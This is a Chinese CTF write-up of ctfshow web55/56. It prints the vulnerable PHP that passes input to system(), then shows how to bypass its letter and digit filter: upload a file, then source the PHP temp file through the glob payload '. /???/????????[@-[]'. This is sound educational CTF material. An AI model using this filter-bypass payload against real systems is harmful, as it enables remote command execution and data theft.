无字母数字rce(ctfshow web55)

web55-56(无字母数字rce)

web55

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

web56

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

参考P神的文章 无字母数字webshell之提高篇 | 离别歌

一言以蔽之:

我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX​,文件名最后6个字符是随机的大小写字母,利用.​来执行

执行. /tmp/phpXXXXXX​,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *​可以代替0个及以上任意字符
  • ?​可以代表1个任意字符

那么,/tmp/phpXXXXXX​就可以表示为/*/?????????​或/???/?????????

但是符合/???/?????????​条件的文件有很多,最后发现所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@​与[​之间:

image

那么,我们可以利用[@-[]​来表示大写字母

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。


首先构造post上传文件的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://09ad0846-4592-491f-99e1-9236d69b88a5.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后bp抓包

image

?c=.%20/???/????????[@-[]

1
2
3
#!/bin/sh

ls

image

1
2
3
#!/bin/sh

cat flag.php

image


无字母数字rce(ctfshow web55)
http://example.com/post/web55-no-letters-pure-numbers-rce-2npubc.html
作者
Dre4m
发布于
2025年9月5日
许可协议